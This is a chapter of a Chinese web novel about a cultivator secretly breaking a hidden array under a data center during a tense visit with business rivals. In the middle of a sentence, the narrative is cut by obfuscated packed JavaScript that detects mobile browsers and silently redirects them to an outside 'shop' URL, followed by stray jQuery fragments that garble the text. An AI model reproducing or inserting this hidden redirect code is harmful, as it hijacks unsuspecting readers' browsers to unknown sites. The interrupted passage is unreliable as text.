5. 天穹数据中心

作品:《科学修仙,谨防诈骗

    两天后。


    李还真盘坐在云在上,下方正对着天穹数据中心。


    她低头看下去,密密麻麻的邪气像黑茧,看起来十分复杂,还有进有出的,夏时凛说这是被数据化的情绪,也就是阴量子。


    夏时凛的确把她说服了,用各种模型模拟。


    这个时代的东西果然难以理解,她想不明白,于是掏出新买的手机,直接打电话问她新晋的闺中密友——不冷,问题如下:阴量子怎么有进有出的,像一块毛豆腐,那个水液是什么东西,还有一排排铁皮箱子……


    什么阴量子,什么毛豆腐,这是什么频道?不冷的CPU都快干爆了,去找大总管小热,小热召集不饿、不困、不累、略闲、微醺、摸鱼,等十几个机器人,组成临时答疑小分队。


    “阴量子?此概念于当前量子信息框架内未定义。量子本体即信息的基本载体,无需前缀修饰。”


    “毛豆腐就是长毛的豆腐。”


    “您问的是哪里的水液?”


    “您现在在数据中心,数据中心的水液是冷却液。”


    “铁皮箱子?您指的是金属封装单元系标准服务器机柜。”


    “……”隔行如隔山,何况隔辈,隔物种,李还真发现还不如不找它们。


    她两指点上眉心,天眼睁开,视线穿过阻隔她探寻大网,大网下去就是地下室,里面的通道错综复杂,穿着白色衣服的人在各个房间里研究着什么。


    而她找不到[杜门]的阵眼,只有一根根五颜六色的线路,交织缠绕成为阵法的纹路,和上方数据中心的相连,接连进各个设备里,同时滋生出彩黑色的流光,就像黑油的那种七彩反光,直奔下一门。


    这种黑彩流光,也是灵气的一种,邪灵。


    李还真眉毛一皱,这时代的灵气的确稀薄,也不该抽走人的精气神,淬成邪灵。想到当年因众生阵死去的千百神仙道人,她心有愠怒,同时也盘算着该怎么动手,才能保全数据中心,心中反复推演:地下基地的线路一旦摧毁,上层数据中心会瞬间瘫痪,影响全城。


    很快与夏时凛约定的时间快到了,李还真下去在路边等着。


    天穹数据中心与繁华市区隔着一大片防护林和缓坡,来往的车辆很少,公交车偶而有一趟。这里的气温比市区低一些,风里凉丝丝的,却不妨碍太阳毒辣地晒。


    李还真就站在公交站牌下,没多久,一声嘀嘀喇叭响,是公交车停下,催她上车。


    李还真摇头:“等人。”


    公交车刚扬尘而去,后边就停来两辆车,为首的车身漆面在阳光下流动着绚丽的光泽。


    李还真开门,坐下,关门,一气呵成,车子丝滑开走。


    后面的车丝滑跟上。


    “哇,就是这个粉头潮妹就是比邹老还厉害的灵体?”开车的是个年轻女孩,明明看不见夏时凛车内情况,还是眯起眼睛伸直了脖子,“靠谱不?”


    后座的中短发青年道:“你的屏蔽器在车库测试场都被她干烧了,你说靠谱不靠谱?”


    “我只知道这样不打招呼就单独行动,肯定有麻烦。”


    这边,夏时凛的车上,除了他,就是司机和副驾上的平川。


    李还真一上车就注意的是司机,阻止她跳楼那个:“你是那个……”


    身兼数职的司机也认出来了:“李小姐。”


    正在闭目养神的夏时凛睁开眼:“看清楚了?”


    “和你给的地图差不多。”李还真心想,人家老巢的地图都能被他弄到,还能做沙盘推演,啊不,用夏时凛的话来说,那叫模型模拟。


    夏时凛道:“我们所做的模拟有限,你进去不一定是这样,地下基地的魔方系统,识别到入侵的能量,就会自动启动,越大的能量就越复杂。”


    李还真有点头疼,以前好歹有个媒介,把媒介拔除即可,现在是一个不可见的系统。


    “五点后我会动手。”


    和夏时凛争执到底是单一破阵还是一起破阵,李还真最后的倔强,就是破阵时间选择在酉时,她也在外围周边做了准备,一旦不是影响全局,她会控制住。


    李还真不禁联想到要开第三只天眼才看见地下基地:“方才我见到一张大网阻隔视线,那是什么?”


    “是折射网,不是阻隔视线,把你的探测能量……灵气,分散折射到各个小节点上,模糊视线而已,小把戏。”夏时凛放弃了给她解释其中原理。


    李还真想,连她需要开第三只天眼才能看清楚,夏时凛究却能拿到完整的地图:“不是小把戏。”


    夏时凛冷哼:“因为我的研究是最强的,他们的高傲,终将被我粉碎。”


    李还真一时间沉默了,很明显被无语到,委婉汗颜:“他们不知道,你……”


    这个停顿,让夏时凛眼睛微眯:“你的眼光不怎么样,竟敢拿蝼蚁和我比。”


    “……”


    车一停,天穹数据中心的负责人郑元清接到夏时凛的车:“夏总,我们老板恭候多时。”


    他在看到李还真一头粉毛,像个还没大学毕业的叛逆少女,傻眼一秒又恢复正常。跟随夏时凛来的,还有后边两个技术人员,这样的配置,看起来像正常巡查似的,如果灵犀数据存在这里的话。


    夏时凛看向不远处正在走来的人,此人年过半百,并非圆润的富态,颧骨微显,下颔清晰,双目沉静,凝视时又冷冽锐利,不怒自威的同时,还有一股书卷气,穿着考究简约的中山装,衬得厚重清正,威压和儒雅形成矛盾的统一。


    夏时凛在他面前就简单多了,锋利,倨傲。


    王仲晦微微一笑:“夏总好久不见,看来最近忙得清减不少。”


    他指的是怨灵柱,前段时间,网上因为灵犀科技有人跳楼,上了几次热搜。


    夏时凛同样回以一个笑:“忙着收购康仁。”


    他笑得恶劣,因为灵犀大楼的前身——源代码研究中心,正是王仲晦的产业,被夏时凛联合其他人,精准狙击,低价收购。


    这件事让王仲晦恨了夏时凛多年,现在又阴阳怪气提起来,不过他面上的微笑不减,眼神淬了毒一样,夏时凛直视回去。


    “年轻人就是有精力。”王仲晦看向跟夏时凛来的人:“邓教授也来了。”


    邓知临客气颔首:“王总。”


    王仲晦还注意到旁边的粉毛李还真,这头发在阳光下,瞎子都能被亮到:“这位是……”


    平川回答道:“天枢的高级顾问,李还真小姐。”


    天枢实验室里研究的都是特殊项目,机密性极高,无一进入市场,夏时凛是核心负责人,这亦是他的私人实验室。


    王仲晦笑道:“后生可畏啊。”


    “……”后生,李还真脑袋放空了一下,这里所有人的年纪加起来,还得称她太太太太奶。


    她面无表情。


    王仲晦顺便不经意扫过那个中短发的青年人,他对天枢了如指掌,那青年人廖明昌,是监测部的部长,他还不知道李还真的深浅,但邓知临是绝对的学术权威,带来这些人,王仲晦越发肯定是夏时凛是因为怨灵柱,服软了。


    夏时凛忽然话锋一转:“灵犀数据有迁移的打算,王总带路,让我参观参观。”


    王仲晦一顿,灵犀科技的数据存于星瀚云里,星瀚集团的董事长就是夏时凛的父亲,自家产业,他没事做什么数据迁移?


    不过这种离谱要求,王仲晦很快就理解了,无非是顺风顺水的年轻人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470929|201474||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,在怨灵柱上吃了瘪,发泄折腾一番,情有可原,源代码中心,他早晚拿回来。


    王仲晦微微一笑:“请。”


    进入核心地带,例行检查,李还真站在一个金属门框内,蓝光红光分别从两旁正面扫描过来,她感觉到手环微微发烫,其他的并无异常,这应该是夏时凛所说的灵体屏蔽。


    “通过。”冰冷无起伏的女声响起,李还真走到夏时凛身边,粉毛拽酷,顾问再厉害,理论上,夏时凛现在都还是她的老板,连表情都没给老板,不免让王仲晦多看了她几眼,暗自猜想,夏时凛的姐姐不长这样,也没听说他有个妹妹,家族里的人?女朋友?


    一行人穿过通道,王仲晦在气密门验证身份,一声轻微的泄气声,门向两边打开。


    李还真看到那一排排机柜,从高空上看下来觉得小如石块,现在站在正对面,望不到头,密集排列,光点快速闪动,像一座巨大的黑色森林里,降下无数闪烁的星星,又有无形的邪气如丝一般涌入又吐出,俨然一团长了毛、生了菌丝的一块块黑毛豆腐。


    这就是毛豆腐啊,不冷小热他们连这都不理解,要不是手机拍不出邪气,高低得拍回去给他们看。


    想是这么想,李还真无声凝出一张小纸人,钻进地面的防静电隔板、纠缠的缆线和送风通道,来到深处,纸人刚贴上折射网,瞬间被焚烧。


    下面的研究人员:“什么声音?”


    他们拿出探测枪四处探测,发现并无异常。


    短暂地试探,李还真沉住气,若无其事四处看,随着她的走动,每一步都印下一张符纸,润物无声沉入地面。夏时凛特别提醒过,这里有传感器能量场,一旦有一丝异常能量外泄,会瞬间触发警报。


    所以符纸被她特意隐去灵力,防止被探测到,正大光明悬在折射网上方,别人步步生莲,她步步生符。


    夏时凛扫了她一眼。


    数据中心的空调终年不停歇,齐齐发出轻微的嗡鸣,混着硬盘读写的震颤,声浪不断冲击耳膜胸腔,空气中带着金属腥味的冷气,又有电板过热的怪异气息。


    所有人都是醉翁之意,介绍都没听进去几个字,再着,李还真又听不懂。


    时间一点一点过去,符纸一步一步增多,连成一片。


    这样的布置,废了李还真好些力气,她的手机突然响起,所有人看向她。


    李还真从包里掏出手机淡定划掉,夏时凛看到她居然设了个闹钟,五点。


    李还真看了他一眼,带点提醒的口气:“下班闹钟。”


    “……”


    空气静了一下,偏偏夏时凛还点了个头。


    在众人还没反应过来时,地面传来一阵极其微弱却绝不该存在的震颤,但就这一点异动,足以让所有工作人员瞬间紧绷,数据中心的地基何其牢固!


    “发生什么事!”


    “检查传感器系统!”


    夏时凛的目光同样穿到地下层,符纸连线,形成屏障,一举压碎折射网,碰撞出的冲击力,被符纸屏障阻挡回去,否则就不止这点轻微震颤,能把防静电板给掀了。


    数据中心平稳运行,这一刻,夏时凛才真正感觉到李还真的深不可测。


    在车上时,她说需要走几圈布置屏障,能破折射网并且不危及数据中心,他相信,但没见过这么面不改色的,明明是始作俑者,这时候装得一脸茫然,这演技,都能跟他姐去拍戏了。


    王仲晦的手机也在一瞬间响起:“有人闯入基地,折射网被破!”


    他面上的惊怒只在一瞬间,就恢复冷静,抬头盯住夏时凛,夏时凛难得善解人意,语气也是相当严肃:“数据中心是命脉,王总不要因为我耽误抢险时机,这损失我担不起,你也是。”